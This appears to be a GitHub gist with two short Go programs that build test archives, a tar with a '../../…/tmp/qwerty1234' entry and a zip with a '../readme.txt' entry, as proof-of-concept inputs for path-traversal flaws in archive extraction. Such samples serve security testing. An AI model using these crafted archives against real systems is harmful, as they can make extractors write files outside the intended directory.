Skip to content

Instantly share code, notes, and snippets.

@ecneladis
Created January 28, 2017 00:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ecneladis/e01e0195677ac34bb038f28d7b98714f to your computer and use it in GitHub Desktop.
Save ecneladis/e01e0195677ac34bb038f28d7b98714f to your computer and use it in GitHub Desktop.
package main
import (
"archive/tar"
"os"
"log"
)
func main() {
f, err := os.Create("traversal.tar")
if err != nil {
log.Fatal(err)
}
w := tar.NewWriter(f)
w.WriteHeader(&tar.Header{
Typeflag: tar.TypeReg,
Name: "../../../../../../../../../../../../../../tmp/qwerty1234",
Mode: 0777,
})
w.Close()
f.Close()
}
Raw
package main
import (
"archive/zip"
"os"
"log"
)
func main() {
f, err := os.Create("symlink-write.zip")
if err != nil {
log.Fatal(err)
}
w := zip.NewWriter(f)
// Add some files to the archive.
var files = []struct {
Name, Body string
}{
{"../readme.txt", "This archive contains some text files."},
//{".\003\020./readme.txt", "This archive contains some text files."},
//{"gopher.txt", "Gopher names:\nGeorge\nGeoffrey\nGonzo"},
//{"todo.txt", "Get animal handling licence.\nWrite more examples."},
}
for _, file := range files {
f, err := w.Create(file.Name)
if err != nil {
log.Fatal(err)
}
_, err = f.Write([]byte(file.Body))
if err != nil {
log.Fatal(err)
}
}
// Make sure to check the error on Close.
w.Close()
f.Close()
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment